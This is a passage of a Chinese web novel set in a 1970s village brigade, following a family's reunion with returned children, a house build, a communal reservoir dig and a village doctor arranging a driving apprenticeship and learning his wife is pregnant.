可就在这时,他忽然觉得脖子后面一阵奇痒,他下意识地伸手去挠,可那痒意却像长了腿,迅速蔓延开来,从脖子到后背,再到胳膊…… “他娘的……”赵国平烦躁地撕扯着衣领,感觉浑身上下越挠越痒,越痒越想挠。 牛车一路颠簸,终于在傍晚时分回到了二大队。 还没到队部门口,远远地就看见几个人影焦急地等在那里。 为首的正是张兰,她身边站着张小月和刘红霞,几人不住地朝路口张望。 当看到牛车出现时,张兰的身体猛地一颤,要不是张小月扶着,几乎要瘫倒在地。 车还没停稳,她就踉跄着扑了过来。 “喜龙……喜凤……”她的声音已经完全变了调,带着撕心裂肺的哭腔。 当她看清车上那两个瘦弱、胆怯,却又强撑着不让自己哭出来的孩子时,眼泪再也控制不住。 “我的娃啊……是妈对不起你们……是妈没用,不该把你们送人的……”张兰一把将两个孩子揽进怀里,哭得肝肠寸断。 被这温暖而熟悉的怀抱一拥,赵卫国和赵明珠兄妹俩强忍了一路的委屈和坚强,瞬间崩塌。 “妈——” 兄妹俩也放声大哭起来。 他们心里清楚,爹妈是有苦衷的,他们从未真正怨恨过。 李有柱这个铁塔似的汉子,看着抱头痛哭的母子三人,眼圈也红得吓人。 他走上前,轻轻拍了拍张兰的背。 “行了,别哭了!娃接回来了,这是天大的好事,该笑!” 他嘴上这么劝着,自己的声音却也哽咽了。 随后,他又拉着两个孩子,指着围上来的众人,挨个介绍。“卫国,明珠,这是振国哥,这是小月姐……” 李振国带着几个民兵,咧着嘴憨笑着,手脚麻利地开始从车上卸东西。 车卸完,牛水生便擦了把汗,准备发动车子离开。 “牛大哥,忙活一早上了,留下来吃顿便饭再走吧!”江沐走上前,诚心挽留。 牛水生摆了摆手,脸上带着朴实的笑容。“江兄弟,你太客气了!厂里还有活儿,我得赶紧回去。心意我领了!” 江沐见他坚持,也没再强求。 “那行,这事儿我记下了。等礼拜一我过去拉货,再好好谢谢你。” 送走了牛水生,李有柱凑了过来,脸上有些不好意思。 “小江,你看这……让人家白跑一趟,连口热饭都没吃上。” “姑父,不急。”江沐笑了笑,“人情得慢慢还。等礼拜一,咱们备上好酒好菜,感谢牛大哥也不迟。” 李有柱家里,几张桌子已经拼好,热气腾腾的饭菜流水般端了上来。 没有外人,都是李有柱家的亲戚和几个相熟的民兵。 饭桌上,张兰仿佛要把这几年亏欠的全都补回来。 她一句话不说,只是一个劲儿地给赵卫国和赵明珠夹肉。 “快吃,多吃点,看你们瘦的……”她一边夹,一边用袖子偷偷抹着眼泪。 第151章 龙凤呈祥!盼个好兆头 酒过三巡,屋里的气氛总算从悲恸转为了欢欣。 李有柱的一个堂叔,也是族里辈分最长的老人,端着酒碗站了起来,浑浊的眼睛在两个孩子身上来回打量。 “有柱,有句话叔得说。”老人清了清嗓子,屋里瞬间安静下来,“这卫国、明珠的名,是跟着赵家起的。如今孩子认祖归宗,回了咱们李家,这名字,也该改改了!断了过去,才有将来!” 这话一出口,所有人都跟着点头。 张兰更是激动地看向李有柱,眼中满是期盼。 她早就想这么干了,只不过,二人看向赵卫国和赵明珠,只不过不知道这两个孩子是什么打算。 “你们呢?想改吗?” 李有柱询问道。 兄妹二人对视一眼,随后点点头。 既然已经回来了,那么确实是应该改名字。 李有柱一拍大腿,声音洪亮。 “就得改!从今往后,我李有柱的儿子就叫李喜龙!闺女就叫李喜凤!龙凤呈祥!盼个好兆头!” “喜龙!喜凤!好名字!”屋里顿时响起一片叫好声。 两个孩子还有些怯生生的,但在众人善意的目光下,还是小声地应了。 李有柱心里一块大石落了地,他端起酒碗,冲着江沐一敬。 “小江,这事儿我明天一早就去公社,找周书记给办了!把娃的户口落在咱们二大队!这头功,是你的!” 江沐淡然一笑,与他碰了碰杯。 一整个下午,李有柱家的土坯房就没断过人。 十里八乡的亲戚,队里相熟的社员,都拎着鸡蛋、揣着红薯干上门道贺,院子里人声鼎沸,比过年还热闹。 傍晚时分,李有柱的连襟张峰两口子要回去了,临走前,张峰的媳妇拉过李喜龙和李喜凤,一人手里塞了个用红纸包着的东西。 “娃,拿着,舅妈给的!买糖吃!” 李喜龙兄妹俩不知所措地看向张兰。 张兰红着眼眶,点了点头。 “收下吧,谢谢舅妈。” 开了这个头,其余的长辈们也纷纷效仿,你一毛我两毛地往孩子手里塞,推都推不掉。 那皱巴巴的毛票,是这个年代最真挚的祝福。 可人潮散去,夜幕降临,一个最现实的问题摆在了眼前。 李有柱家就两个屋,原本夫妻俩带着李振国一家住的紧紧巴巴,现在又添了喜龙、喜凤兄妹俩,这晚上可怎么睡? 屋里一片沉默,喜悦的气氛被这窘迫的现实冲淡了几分。 李有柱挠了挠头,猛地一捶手掌。 “有了!我跟孩子他妈去大队办公室对付一宿!让孩子们在炕上好好睡!” “那哪成!”江沐当即出声阻止,眉头微蹙,“队长,现在天多冷,办公室四处漏风,地上又硬又凉,嫂子身体能受得了吗?” 张兰也连连摆手,一脸不赞同。 “要不这样,”江沐提出方案,“让喜龙和喜凤去我那儿挤一挤,或者干脆去卫生室,那边不是还有张空床吗?收拾一下就能住,总比睡办公室强。” 一直沉默着的李喜龙忽然抬起头,他看了一眼局促的父母,又看了一眼江沐,懂事道。 “我去卫生室住。”他的声音不大,却异常清晰,“我一个人去就行,让妹妹跟妈睡。” 这话让李有柱和张兰都愣住了,看着儿子那张故作坚强的脸,心里又酸又疼。 最终,还是拗不过儿子的坚持。 张兰找出了家里唯一一套还算新的被褥,仔细地给李喜龙铺好,又千叮咛万嘱咐,这才一步三回头地离开。 江沐和张小月没再多留,也告辞回了家。 第二天,李振国就套上牛车,载着李有柱和两个孩子直奔公社派出所。 有张小月的大哥张玖博提前打过招呼,江沐一点也不担心,事情办得只会比想象中更顺利。 果不其然,下午时分,李喜龙和李喜凤兄妹俩就揣着崭新的户口页,一脸兴奋地跑来找江沐道谢了。 院子里,张小月正陪着李喜凤说话。 两个姑娘年纪相仿,一个活泼,一个文静,凑在一起却有说不完的话题。 而李喜龙的目光,则完全被院里那两条威风凛凛的大狼狗给吸引了。 虎虎和生威似乎也感受到了他身上没有恶意,只是警惕地站着,喉咙里发出低低的呜咽声。 “江沐哥,它们真神气。”李喜龙的眼睛里闪着光,随即又黯淡下去,低声补充了一句,“我以前也养过一条狗,叫大黄……后来,被人偷走吃了。” 江沐心中微叹,伸手拍了拍他的肩膀,没说什么。 在这个年代,这种事太常见了。 就在这时,里屋的门帘一动,一道雪白的影子闪电般蹿了出来。 “呀!”李喜凤发出一声小小的惊呼,眼睛瞬间就直了,“姐,这是……狐狸?” 那通体雪白,没有杂毛的白狐,正是妲己。 它优雅地踱步到李喜凤脚边,嗅了嗅,竟顺着她的裤腿爬了上去,最后安安稳稳地在她怀里找了个舒服的姿势蜷缩起来。 李喜凤整个人都僵住了,一动也不敢动,脸上满是难以置信的惊喜。 张小月凑过来,压低了声音。 “嘘,它叫妲己,胆子最小了。哎?奇怪,它好像一点都不怕你。对了,它怀孕了,你别碰它肚子就行。” 李喜凤闻言,更是小心翼翼,只敢用指尖轻轻抚摸妲己柔顺的背毛,那双眼睛幸福得都眯成了一条缝。 “狐狸?”李喜龙也好奇地凑了过来,刚想看得更清楚些。 谁知他刚一靠近,原本温顺的妲己像是受了什么惊吓,浑身的毛瞬间炸开,从李喜凤怀里蹿了出去,眨眼间就躲回了屋里,再也不肯露头。 李喜凤怀里一空,顿时满脸的失落。 张小月见状,也觉得好笑。 “你别怪它,这小东西怪得很,好像就喜欢跟女的待着。平日里,连江沐哥想碰它一下都难如登天。” 李喜凤听了这话,心里稍稍平衡了些,但还是忍不住狠狠瞪了李喜龙一眼,那眼神里的意思再明白不过。 都怪你!把它给吓跑了! 第152章 要盖就盖好的,不能让娃受委 临近中午,张兰过来领着两个孩子回家吃饭,她看着江沐和张小月,脸上是淳朴的歉意。 “小江,小月,真不好意思,俺家那点东西实在拿不出手,就不留你们吃饭了。” 张小月笑着摆摆手。 “婶子你快别这么说,家里有啥吃啥,我们自己做也方便。” 送走了三人,院子里又恢复了宁静。 江沐和张小月也没费事,下了点面条,卧了两个荷包蛋,简单地对付了一口。 午后的阳光暖洋洋的,晒得人有些犯懒。 张兰估摸着江沐歇过午觉,又匆匆找了过来,脸上带着几分征询。 江沐正在院里给虎虎和生威梳毛,见她来了,便直接开了口。 “婶子,队长那边商量得怎么样了?给喜龙盖房子的事,定下了吗?” 张兰搓了搓手,脸上浮起愁云。 “你姑父那犟脾气,正跟几个族里的长辈掰扯呢。大伙儿的意思,是先搭个结实点的土坯房,让他先有个窝。可你姑父非说,要盖就盖好的,不能让娃受委屈。” 江沐点了点头,心里有了数。他放下梳子,拍了拍手。 “走,婶子,我跟您过去看看。这事儿得尽快定下来,开春前盖好,孩子也能少挨几天冻。” 说着,他一招手,虎虎和生威立刻精神抖擞地跟在了他身后。 一人两狗,气势十足地来到李有柱家院子。 果然,院里正围着一圈人,李有柱涨红着脸,正跟一个山羊胡子的老人争论着什么。 “……三叔,我不是不听你的,可娃都跟我姓李了,就是我李有柱的种!我还能亏待了他?要盖,就比照着高建设家那规格,两间大瓦房!敞亮!”李有柱一拍胸脯,声音大得很。 “你个憨娃!你当大瓦房是地里的大白菜啊?说盖就盖?钱呢?”山羊胡子老人气得直吹胡子。 李喜龙就站在人群的角落,小小的身子绷得紧紧的,他猛地抬起头,冲着李有柱喊了一声。 “爹!不用盖瓦房!我……我有个地方睡就行!茅草屋都行!” 他生怕这个刚有的家,因为自己又背上沉重的负担。 这一声爹喊得李有柱心里一热,眼眶都红了。 他大步走过去,一把搂住李喜龙瘦弱的肩膀,声音却愈发坚定。 “听爹的!这事就这么定了!两间大瓦房!谁也别劝!” 话音刚落,他便看向人群中的李振国。 “振国,牛车套上,我现在就去镇上砖窑拉砖去!” 李振国还没开口,他媳妇刘红霞却从屋里走了出来,她是个爽利性子的女人,几步上前,不由分说地从兜里掏出一沓被手绢包得整整齐齐的钱,往李有柱手里一塞。 “爸,这是我跟振国的一点心意,你拿着给孩子添两片瓦!” 李有柱猛地把手缩了回来。 “红霞,你这是干啥!使不得!哪能要你们的钱!” “有啥使不得的!”刘红霞眼睛一瞪,又把钱硬塞了过去,这次直接揣进了李有柱的口袋里。 “你再推就是看不起我跟振国!当年我娘家那边揭不开锅,你和妈一趟趟地送棒子面过去?这人情我都记着呢!现在我这做的不是应该的?拿着!” 这一番话,说得李有柱一个七尺高的汉子,眼圈彻底红了。 他捏着口袋里那沉甸甸的钱,嘴唇哆嗦着,点了点头。 等李有柱赶着牛车走了,院里的人才渐渐散去。 李振国看着自己媳妇,眼神里满是感激。 刘红霞却只是淡淡一笑,理了理鬓角的碎发。“看啥看,咱不能让人家戳脊梁骨,说咱是那忘恩负义的人。” 李有柱的行动力是惊人的。 当天傍晚,一车青砖就整整齐齐地码在了院子角落。 第二天一大早,李有柱就叫上了队里几个关系好的,连带着半大的李喜龙,几把铁锹上下翻飞,愣是把院子里原本种着菜的自留地给清理得干干净净。 上午,镇上的工头被请了过来,叼着根烟,眯着眼在地上拉线、撒石灰,没多会儿,两间大瓦房的地基线就清晰地勾勒了出来。 工头确认没问题后,便揣着手走了,临走前撂下一句话。 “明儿一早我就带人来挖地基,料都备齐了!” 根本不用等到明天。 工头前脚刚走,后脚村里得了信的社员们就扛着锄头铁锹,呼啦啦全来了。 你一锄,我一锹,根本不用李有柱开口招呼,半个队的壮劳力都自觉地跳进了线框里。 黄土翻飞,铁锹和石块的碰撞声不绝于耳。 一整个上午,地基的雏形就挖好了。 第三天,工头带着他的人正式开工。 可李有柱和二大队书记高志强,却一大早就被公社的通讯员叫走了,说是要去开紧急大会。 直到日头偏西,两人才一脸严肃地骑着自行车回来。 张兰正在家准备午饭,见他进门,连忙迎上去。 “当家的,开啥大会开了一上午?” 李有柱灌了一大瓢凉水,抹了把嘴,眉头紧锁。 “公社下了死命令,说是据气象站预测,开春后可能会有大旱。要求每个生产队,都必须在耕种前挖一个涝池,存水防旱!” 他顿了顿,随后道,“我跟高书记商量好了,吃完饭我俩就去村东头那片荒地量量尺寸,先把地方给定下来!” 高志强是个心思缜密的人,他扒拉了两口饭,也跟着补充。 “这事儿耽搁不得,是政治任务。” 午饭后,李有柱扛着锄头,高志强拿着个皮尺,两人直奔村东头的荒地。 那片地因为石头多,土层薄,一直荒着,长满了半人高的枯草。 两人在荒地里来回走了几圈,高志强拉着皮尺一量,眉头皱了起来。 “有柱,这片地足有两亩半,全挖了?工程量也太大了,队里还得盖房子呢。” 李有柱却一锄头砸在干裂的土地上,砸出一个浅坑,眼神里闪着精明的光。 “不大!”他咧嘴一笑,露出一口白牙,“高书记,你忘了会上周书记还提了一嘴?说是为了改善社员生活,挖好的涝池,公社还能给批点鱼苗下来让养鱼! 反正都是挖,咱索性就挖大点,一步到位!到时候,这涝池不光能浇地,开春还能养鱼!到了年底,队里还能给家家户户分鱼吃哩!” 第153章 人手不够,就拿工分砸 高志强拉着皮尺的手微微一顿,眼里的顾虑显而易见。 “有柱,两亩半的大坑,深挖到四米,这得多少土方?队里壮劳力就那些,还得盖房,怕是忙不过来。” 李有柱把锄头往肩上一扛,干裂的嘴唇咧开一个悍然的弧度,眼里闪烁着精光。 “就这么干!人手不够,就拿工分砸!高书记你放心,咱二大队的人,没一个懒骨头!” 他胸有成竹,仿佛已经看到了年底全队分鱼,家家户户笑开花的场景。 两人一合计,连尺寸都懒得再量,就着这片荒地的边界,用锄头划下了一道粗犷的印记。 这便是未来涝池的轮廓。 事情就这么定了下来。 当天下午,李有柱和高志强就回了大队办公室。李有柱拧开那台老旧的广播机,清了清嗓子,对着话筒吼了起来。 电流声过后,他的声音响彻了整个二大队的上空。 “喂喂!青莲公社二大队的社员们请注意了!重复一遍,二大队的社员们请注意了!” “接到公社紧急通知,为防备开春大旱,队里决定,在村东头荒地挖建涝池!明天一早,天亮就开工!要求每家每户,至少出一个劳力!听清楚了,是至少一个!” “工分按最高的给!男劳力,一天十二个工分!女劳力,十个工分!半大的小子丫头,能拿得动家伙的,给五工分!” 广播一停,整个村子瞬间就炸了锅。 “我的个乖乖!一天十二个工分?顶得上抢收了!这活儿得去!”一个正蹲在门口抽旱烟的汉子猛地站了起来,眼睛里冒着绿光。 “去啥去?你傻啊!两亩半的地,挖四米深,那得挖到猴年马月去?别是有力气去,没命拿工分!”也有人缩着脖子,心里直犯嘀咕。 更多的人家则是关起门来,噼里啪啦地打起了算盘。 这活儿累是累,可工分给得实在太诱人了。 与其让男人一个去,不如全家都上! 一个壮劳力带俩半大的孩子,一天就能挣二十二个工分,这买卖,划算! 一时间,人心浮动,说什么的都有。 但所有人都明白,队长李有柱的命令,没人敢阳奉阴违。 第二天,天刚亮,村东头的荒地就已经人头攒动,铁锹林立,喧闹声几乎要掀翻天际。 江沐也扛着一把崭新的铁锹,跟着人群来到了现场。 虎虎和生威精神抖擞地跟在他脚边,引来不少半大孩子的围观。 场面看似热火朝天,实则雷声大雨点小。 江沐看得分明,真正甩开膀子下死力气的,也就那么二三十号人。 剩下的大部分,都是来混工分的。 几个婆姨凑在一起,锄头半天不动一下,家长里短地唠个没完; 几个老烟枪蹲在田垄上,你一袋我一袋地交流着烟叶的成色; 更多的半大孩子,则是把这当成了游乐场,追着虎虎和生威满地乱跑。 李有柱和高志强扯着嗓子喊了一上午,嗓子都快冒烟了,可收效甚微。 一天下来,两亩半的荒地,表层的枯草和浮土倒是清干净了,可往下挖,深度还不足一米。 周一一早,村口传来了熟悉车铃声。 是牛水生来收草药了。 李有柱像是掐准了点似的,早就提溜着一包东西等在了江沐的卫生室门口。 那包东西用报纸裹得严严实实,里面是一条好烟,两瓶市面上难得一见的黄桃罐头。 江沐帮着把晒干的草药一袋袋过秤、装车。 牛水生看着那成色极佳的药材,脸上笑开了花。 等一切忙完,李有柱才几步上前,不由分说地将那包礼物塞进牛水生的车斗里。 “水生,上次去接喜龙喜凤那俩娃,多亏了你帮忙周旋,不然哪能那么顺当。这点东西,你务必收下,不然我这心里过意不去!” 牛水生推辞不过,只好憨厚地挠了挠头。 “有柱叔,你太客气了,都是举手之劳。” 送走牛水生,挖涝池的工程还在继续。 接下来的几天,江沐几乎是泡在了工地上。 他不像别人那样咋咋呼呼,只是沉默地挥动着铁锹,每一锹都挖得又深又稳。 在他的带动下,那些真正干活的人愈发卖力,而那些磨洋工的,也不好意思再那么明目张胆。 工程进度,肉眼可见地快了起来。 一周后,这个两亩半的大坑,已经被硬生生挖到了四米深。 站在坑边往下望,黑洞洞的,让人心里发怵。 主体工程算是完成了。 剩下的,就是用石头和黄泥加固四壁,防止塌方。 这活儿精细,不再需要那么多人。 李有柱只留下了二十个手脚最麻利的壮劳力。 高志强负责监工,而李有柱,则终于能腾出手来,一头扎进了自家盖房子的事情里。 二十个壮劳力又苦干了四五天,整个涝池的四壁被砌得整整齐齐,坚固无比。 李有柱立刻骑着自行车上报公社。 第二天,公社便派了技术员下来检查,验收合格。 引水渠早就挖好了。 随着闸门拉开,一道清澈的水流从村外的小河里奔涌而出,冲进了巨大的涝池。 不到两天时间,池水就已经蓄满了。 李有柱和高志强马不停蹄地再次上报,申请公社承诺的鱼苗。 送鱼苗来的,是老熟人孙阳。 他指挥着人将一桶桶活蹦乱跳的鱼苗倒进涝池,看着那满池的生机,脸上也挂着笑。 临走前,他特意找到了正在帮忙的江沐。 “江大夫,”孙阳压低了声音,眼里带着急切,“上次说的那个滋补丹,有眉目了吗?” 江沐摇了摇头,“药材还没凑齐,急不得。” 孙阳眼里闪过失望,但还是点了点头,客气地告辞离开。 时间一晃,到了四月底,春意正浓。 李有柱家的两间大瓦房,也即将竣工。 青砖黛瓦,窗明几净,在这片低矮的土坯房中,显得格外气派。 这天,李有柱却揣着心事找到了江沐。 他搓着那双满是老茧的手,脸上是罕见的局促,“小江啊……姑父……姑父想问问,喜龙工作的事情。” 第154章 是你爹早就为你盘算好的前路 江沐正在整理药材,闻言手上的动作一停,抬眼看他。 “我之前找过人,想要给喜龙弄工作,一百块,人家没干,姑父这一次拿二百块,小江,喜龙的工作就交给你了!” 李有柱拿出二百块钱要塞给江沐。 江沐没有接,他沉默了片刻,他放下手里的药材,站起身。 “姑父,工作这事不能这样弄。走,我们先去问问喜龙自己的意思。” 江沐跟着他直接来到了新房前。 李喜龙正拿着一块破布,仔仔细细地擦拭着崭新的玻璃窗,脸上洋溢着对新家的憧憬。 李有柱看着儿子,眼里满是慈爱,他清了清嗓子,把工作的事一说。 “喜龙,爹准备给你弄个工作,以后吃上商品粮,当工人!你看咋样?” 李喜龙脸上的笑容瞬间凝固了。 他猛地转过身,先是看向江沐,眼里满是感激,然后又望向李有柱,嘴唇哆嗦着,眼眶一下子就红了。 “爹!这工作我不能要!” 李有柱一愣。“憨娃,你说的这是啥话!多好的机会!” 李喜龙猛地摇着头,声音都带上了哭腔。“我才多大,还没结婚,要啥工作!要弄,也该给振国哥弄!” 他伸出手指着不远处李振国家的方向,声音因激动而拔高。 “我跟我妹回来,振国哥和嫂子又是出钱又是出力!咱家盖房子,他们天天来帮忙!现在……现在还要为了我,再去弄工作……我……我没那么大的脸!” 少年的自尊和那份沉甸甸的恩情,压得他几乎喘不过气来。 他不能再心安理得地接受这一切了。 不远处的李振国闻声,丢下手里的活计,三两步跨了过来,蒲扇般的大手按在李喜龙瘦削的肩膀上。 “憨娃子,胡说啥呢!爹和你江大哥给你谋个前程,是天大的好事,跟哥有啥关系!” 刘红霞也快步跟上,脸上带着嗔怪,语气却满是亲昵。 “就是!你这孩子,咋这么拧巴?我跟你振国哥帮衬一把是应该的,振国毕竟是你亲哥!再说了,前阵子我俩跟着小江上山挖药材,也挣了不少,心里踏实着呢!” 李喜龙的眼圈更红了,他用力地挣脱开李振国的手。 “我不要!反正我不要!你们的好意我记在心里,但这工作我不能要!” 李有柱那张被风霜刻满沟壑的脸瞬间就黑了下来,他粗声粗气地一挥手,根本不理会儿子的抗议,扭头看向江沐。 “小江,你别听这憨娃子的浑话!这事就这么定了,你看着办!” 这一下,所有人的目光都聚焦在了江沐身上。 江沐没看李有柱,视线反而落在了满脸倔强的李喜龙身上。 “喜龙,先别急着拒绝。我问你,想不想去开汽车?” “开……开汽车?”李喜龙猛地一怔,脑子里瞬间浮现出公社那台威风凛凛的解放牌卡车,那是全公社所有半大孩子眼里的神祇。 可随即,一股更大的惶恐涌上心头。 “江大哥,怎么连你也不听我的……”他的声音低了下去,带着不易察觉的哽咽。 江沐脸上的笑意不减,声音平稳而有力,“这件事,在你跟你妹妹回来之前,你爹就跟我说定了。这不是一时兴起,是你爹早就为你盘算好的前路。” 他顿了顿,目光扫过一旁的李振国夫妇,话锋一转。 “再说了,你以为这工作光是为你自己找的?你现在年轻,感觉不到。再过几年,手里有份工作,心里就不慌。 将来你哥和嫂子有个头疼脑热,或者家里需要帮衬的时候,你一个大小伙子,是想两手空空干着急,还是想有底气地说一句哥,有我呢!?” 听到这话,李喜龙愣愣地看着江沐,又看看满脸期盼的父亲和真心实意关心他的哥哥嫂嫂,那股子冲天的犟劲儿,瞬间瘪了下去。 刘红霞趁热打铁,拉着他的手柔声劝着。 李有柱也难得地放缓了语气,笨拙地表达着自己的父爱。 几番轮番劝说下来,李喜龙终于低下了头,闷闷地挤出一句话。 “行吧……只要能挣钱,干啥都行。” 江沐笑了。 “光挣钱还不行,得学门真本事。我建议你去学开车,这年头会开车的都是宝贝疙瘩。开车的空闲,再跟着老师傅学学修车。记住,学门手艺傍身,到哪都饿不死。” 李有柱一听,心里又犯了嘀咕,他迟疑地搓着手。 “开车?小江啊,这……司机的工作,可不好安排啊,比进厂子难多了……” “队长你放心。”江沐的眼神里透着自信,“这事交给我,我心里有数,您就别管了。” 见江沐如此笃定,李有柱悬着的心也放下大半。 他看着江沐转身要走,连忙从兜里掏出那个用手帕包了一层又一层的钱卷,硬是塞到江沐手里。 “小江!这二百块钱,你必须收下!这是办正事用的!你不收,我这心里不踏实,晚上觉都睡不着!” 那二百块钱被他的手心捂得滚烫,带着一个父亲的期望。 江沐看着他那双布满血丝的眼睛,没有再推辞,郑重地点了点头。 “行,钱我先收下。姑父你放心,明天我就去一趟县里,尽快把喜龙的工作给落实了。” 回到家时,已是黄昏。 张小月正坐在院子里,借着夕阳的余晖整理着新收上来的草药。 江沐走过去,顺手接过她手里的活计。 “明天我去县城,你要不要一起去逛逛?” 张小月摇了摇头,脸上漾着温柔的笑意。 “不去了,家里收药材的事还多着呢,我得看着点。” 江沐没再勉强,只是很自然地搭上她的手腕,三根手指轻轻按在她的脉门上。 片刻之后,他的眉梢猛地一挑,脸上露出了抑制不住的惊喜。 “滑脉,如珠走盘……”他喃喃自语,随即抬头,目光灼灼地看着张小月,“有了!看脉象,错不了,还是个闺女!” 张小月先是一愣,随即一脸惊喜,她的手下意识地抚上自己平坦的小腹,眼里瞬间蒙上了一层水雾。 “真的?你……你喜欢小子还是闺女?”她紧张地问,声音里带着颤抖。 江沐握紧她的手,眼里的温柔几乎要溢出来。 “当然是闺女!闺女是爹的贴心小棉袄。小子太淘气,以后有他头疼的!” 一夜无话。 第二天一早,江沐跨上自行车前,特意叮嘱张小月。 “今天收的药材要是多,就先堆在院子里,别累着,等我回来搬。” 张小月笑着应下,目送他的身影消失在村口的小路上。 江沐一路骑行,直奔县城的药材收购厂。 他熟门熟路地穿过喧闹的前院,直接上了二楼,来到杨小军的办公室门口。 门虚掩着,里面传来杨小军热情的声音。 江沐推门而入,只见杨小军正陪着一个身穿干部服的中年男人说话。 第155章 该跟岳父岳母报个喜了 杨小军旁边的中年男人见江沐进来,脸上立刻堆起了热情的笑容,主动站起身伸出了手。 “这位就是江沐同志吧?久仰大名,久仰大名啊!” 杨小军一拍脑门,连忙介绍。 “瞧我这记性!江兄弟,这位是县纺织厂的徐厂长。徐厂长,这位就是我常跟你提起的,我们公社的神医,江沐同志。” 纺织厂的徐厂长? 江沐心里瞬间了然,原来是他。 之前李喜龙兄妹俩在赵家堡受了欺负,赔偿款要不回来,正是这位徐厂长一个电话打过去,让保卫科的人亲自把钱要回来的。 这份人情,他可一直记着。 江沐握住那只温厚的手,脸上带着真诚的感激。 “原来是徐厂长,失敬失敬。上次喜龙兄妹俩的事,还没来得及当面谢谢您,要不是您出手,那笔钱还不知道要拖到什么时候。” 徐厂长闻言,连连摆手,脸上竟浮现出愧色。 “哎,江沐同志你可千万别这么讲!说到底,出了那种混账事,是我这个厂长的失职!我该给你们赔罪才是!” 这番话说得敞亮,没有半点官僚的推诿客套,让江沐对他的好感又多了几分。 三人落座,杨小军给江沐泡了杯浓茶。 既然有外人在,江沐便绝口不提给李喜龙找工作的事,只天南海北地闲聊。 从今年的旱情,聊到公社的收成,又聊到报纸上的最新政策。 徐厂长显然是个健谈的人,谈吐不俗,对许多事情都有自己独到的见解。 不知不觉,墙上的挂钟指针已经指向了十二点。 江沐看了一眼时间,站起身来。 “不知不觉就到饭点了,徐厂长,杨厂长,今天说什么都得我来安排,咱们去国营饭店搓一顿,算是我对徐厂长的一点心意。” “那哪儿成!”徐厂长也立马站了起来,大手一挥,“该我请!江沐同志你是我们纺织厂的大恩人,这顿饭必须我来!” 两人正争执不下,杨小军在一旁哈哈大笑,一手一个揽住两人的肩膀。 “行了行了,都别争了!在我的地盘上,哪能让你们掏钱?听我的,我安排!咱们去吃福满楼的涮羊肉,保管你们吃得满嘴流油!” 杨小军的面子,两人自然是要给的。 福满楼的铜锅涮肉热气腾腾,三人都不是扭捏之人,几杯小酒下肚,气氛更是热烈。 饭后,徐厂长还有个会要开,便先行告辞。 江沐和杨小军则溜溜达达地回了收购厂的办公室。 关上门,办公室里只剩下两人,杨小军那副嬉皮笑脸的样子也收敛了几分,他给江沐续上热茶,眼神里透着一股精明。 “江兄弟,你今天来,不光是为了见徐厂长吧?说吧,到底啥事?” 江沐呷了口茶,也不兜圈子,直接开门见山。 “确实有事求你。李有柱队长的儿子李喜龙,我想给他谋个工作。” “李喜龙?”杨小军眼珠子一转,立刻来了精神,“这事儿好办啊!正好我们收购站还缺个采购员,常年往外跑,见识多,油水也足,你看咋样?” 采购员确实是个肥差,但江沐心里却摇了摇头。 李喜龙那憨直的性子,干这个怕是要被人啃得骨头都不剩。 “采购员不适合他。”江沐放下茶杯,目光清亮,“我想让他学门实在的手艺。你姐夫牛大哥,不是开着解放卡车吗?你看能不能让他跟着牛大哥当个学徒,学开车。” “跟牛大哥学开车?”杨小军微微一愣,随即一拍大腿,“这主意好啊!现在司机可是金饭碗!没问题,我姐夫那人你放心,就是嘴碎了点,心眼好着呢!我回头就跟他说,让他好好带带喜龙。” 这事就这么定了下来。 杨小军话锋一转,凑了过来,压低了声音。 “江兄弟,那…那个滋补丹,有眉目了没?我爹天天在家念叨,都快把我耳朵念出茧子了。” “药材还差几味,不过也快了。你放心,过两天就给你弄好。” “那可太好了!”杨小军喜上眉梢,“我爹说了好几次,非要请你到家里吃顿便饭,当面感谢你。你看你啥时候有空?” 江沐沉吟片刻,“这样吧,等你来我们村拿药的时候,顺道把我捎上,直接去你家吃饭,你看如何?” “行啊!就这么定了!”杨小军一口应下。 从药材厂出来,江沐心里一块大石落了地。 他骑着车,没有直接回家,而是拐向了县里最热闹的百货大楼。 给张小月买身新衣服的念头,在他心里盘旋了好几天了。 如今她有了身孕,更该好好补补,穿得也舒心些。 他挑了一件天蓝色的确良衬衫和一条深蓝色的裤子,料子妥帖,款式大方。 付了钱和布票,将衣服包好,这才心满意足地踏上归途。 骑到一处四下无人的林间小路,江沐停下车,意念一动,从声望商城里取出了之前抽奖得来的那台崭新的收音机,用个麻袋套着,严严实实地放在了车后座上。 回到家时,院子里正热闹。 张兰正蹲在地上,帮着张小月一起分拣草药。 “哟,小江回来啦!”张兰眼尖,一眼就看到了他车后座上那个四四方方的大家伙,好奇心顿时被勾了起来,“你这是从县里买了啥好东西?” 江沐把车停好,献宝似的揭开麻袋。 “收音机!”张兰倒吸一口凉气,眼睛都瞪圆了,满是羡慕,“我的乖乖,这金贵玩意儿,得花不少钱吧!” 她随即又想起了正事,急切地拉着江沐的胳膊。 “哎,喜龙那工作的事,办得咋样了?” 江沐脸上挂着笃定的微笑。 “妥了。我跟杨厂长说好了,让他跟着车队的牛师傅学开车,下周一水生哥来拉药材,就让喜龙跟着他一块儿走。刚开始是学徒,工资少点,等学会了转正,工资就上来了。” 张兰一听,悬着的心彻底放下了,脸上乐开了花。 等到张小月把手头的活计忙完,洗干净手走过来,江沐才把那台收音机捧到她面前。 张小月整个人都呆住了,她小心翼翼地伸出手指,碰了碰那光滑的烤漆外壳,随即又像触电般缩了回来,满脸震惊。 “这……这太贵重了!你哪来的钱买这个?” 江沐又把那个装着新衣服的纸包递给她。 张小月打开一看,眼睛瞬间就亮了。 她爱不释手地抚摸着那柔滑的布料,在身上比划了一下,又赶紧小心地叠好收了起来。 “平时干活灰大土大的,这么好的衣服,可不能糟蹋了。” 江沐笑着摇摇头,知道劝不动她,便动手摆弄起收音机。 他拉出天线,转动旋钮,一阵电流声后,一个清亮的声音从喇叭里传了出来,说的正是一段马三立的相声。 夕阳下,三个人围坐在小院里,听着收音机里传来的逗趣声,脸上都洋溢着新奇和满足的笑容。 听了一会儿,江沐凑到张小月耳边,温热的气息拂过她的脸颊。 “媳妇儿,咱俩这喜事,该跟岳父岳母报个喜了。你看,明天一早,咱俩就去你哥家一趟,怎么样?” 第156章 江医生真是华佗在世啊 次日。 夫妻俩简单地吃了点杂粮粥配咸菜,又吃了两个鸡蛋,随后二人锁好院门,沿着田埂小路,朝着张小月娘家所在的村子走去。 然而,刚走到村口那片新挖的涝池边,一阵哭喊声便刺破了这份宁静。 “救命啊!二蛋掉下去了!快来人啊!” 几个半大的孩子正围在涝池边,手足无措地尖叫,脸上挂满了泪珠。 其中一个眼尖的看到了张小月,像是抓住了救命稻草,连滚带爬地冲过来。 